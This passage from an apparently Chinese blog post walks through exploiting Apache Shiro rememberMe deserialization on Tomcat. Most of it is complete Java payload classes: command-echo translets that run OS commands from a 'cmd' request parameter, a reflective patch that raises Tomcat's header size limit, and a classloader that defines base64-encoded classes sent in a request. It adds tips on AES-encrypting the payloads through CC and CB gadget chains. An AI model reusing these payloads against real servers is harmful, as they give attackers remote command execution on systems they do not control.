                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    Request tempRequest = (Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();

                                    String cmd = null;
                                    if (request.getParameter("cmd") != null){
                                        cmd =  request.getParameter("cmd");
                                    }

                                    if (cmd != null){
                                        System.out.println(cmd);
                                        boolean isLinux = true;
                                        String osTyp = System.getProperty("os.name");
                                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                            isLinux = false;
                                        }
                                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                        InputStream inputStream = new ProcessBuilder(cmds).start().getInputStream();
                                        StringBuilder sb = new StringBuilder("");
                                        byte[] bytes = new byte[1024];
                                        int n = 0 ;
                                        while ((n=inputStream.read(bytes)) != -1){
                                            sb.append(new String(bytes,0,n));
                                        }

                                        Writer writer = response.getWriter();
                                        writer.write(sb.toString());
                                        writer.flush();
                                        inputStream.close();
                                        System.out.println("success");
                                        flag = true;
                                        break;
                                    }
//                                    System.out.println("success");
//                                    flag = true;
//                                    break;
                                    if (flag){
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }

    }


    public static Object getField(Object obj, String fieldName) throws Exception {
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

我们直接AES加密修改rememberMe,发现会返回错误提示请求头太大,因此我们要绕过Header长度限制,这也是shiro反序列化时经常遇到的问题

这时候需要修改长度限制,具体下面会说(建议先看完max size绕过部分,有大坑),这里先传一个反射修改max size的功能的class文件进行修改,显示200

之后再传我们的poc,执行成功

更通用的回显方法(全通用)

因为有长度问题,因此要先修改长度

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

    static {
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            // 需要遍历其中的 this$0/handler/global
                            // 需要进行异常捕获,因为存在找不到的情况
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    Request tempRequest = (Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();

                                    String cmd = null;
                                    if (request.getParameter("cmd") != null){
                                        cmd =  request.getParameter("cmd");
                                    }

                                    if (cmd != null){
                                        System.out.println(cmd);
                                        InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                                        StringBuilder sb = new StringBuilder("");
                                        byte[] bytes = new byte[1024];
                                        int n = 0 ;
                                        while ((n=inputStream.read(bytes)) != -1){
                                            sb.append(new String(bytes,0,n));
                                        }

                                        Writer writer = response.getWriter();
                                        writer.write(sb.toString());
                                        writer.flush();
                                        inputStream.close();
                                        System.out.println("success");
                                        flag = true;
                                        break;
                                    }
                                    if (flag){
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }

    }


    public static Object getField(Object obj,String fieldName) throws Exception{
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Header 长度限制绕过

修改max size(其实不是很稳定)

通过反射修改 改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                  // 10000 为修改后的 headersize 
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                         // 10000 为修改后的 headersize 
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

使用cc链读取class生成ser文件然后把ser文件进行AES加密

注意,很多不成功就是死在AES加密上,使用我之前提供的python加密脚本会出现加密结果过长的问题导致修改max size的payload也会显示header过长

这里提供天下大木头师傅的githubGitHub - KpLi0rn/ShiroVulnEnv: Shiro内存马注入环境,里面自带一个AESEncode加密脚本,可以看到他的外部库都是调用的shiro自身的,所以用这个脚本加密起来会和shiro百分百匹配

利用 CloassLoader 加载来绕过长度限制(适用于Tomcat 7,8,9)

思路是给rememberMe传递一个classloader,让他接收一个执行命令的类来加载

这里给出类加载器的源码,使用CB链进行加载,经测试cc11等加载完之后loader也会出现请求头较大的情况因此选择CB

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD extends AbstractTranslet {
    static {
        Object jioEndPoint = GetAcceptorThread();
        if (jioEndPoint != null) {
            java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                org.apache.catalina.connector.Response response = request.getResponse();
                String code = request.getParameter("class");
                if (code != null) {
                    try {
                        byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                        cc.newInstance().equals(new Object[]{request, response});
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    }

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object GetAcceptorThread() {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    try {
                        Object target2 = getField(thread, "this$0");
                        target = thread;
                    } catch (Exception e) {
                        continue;
                    }
                }
                Object jioEndPoint = getField(target, "this$0");
                if (jioEndPoint == null) {
                    try {
                        jioEndPoint = getField(target, "endpoint");
                    } catch (Exception e) {
                        continue;
                    }
                }
                return jioEndPoint;
            }
        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

执行命令的参数,base64对class进行编码,然后post传参class给classloader,CB链前面讲过这里不贴


import java.io.InputStream;
import java.util.Scanner;

public class cmd {
    public boolean equals(Object req) {
        Object[] context=(Object[]) req;
        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                response.setContentType("text/html;charset=utf-8");
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().println("----------------------------------");
                response.getWriter().println(output);
                response.getWriter().println("----------------------------------");
                response.getWriter().flush();
                response.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return true;
    }
}

执行结果

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值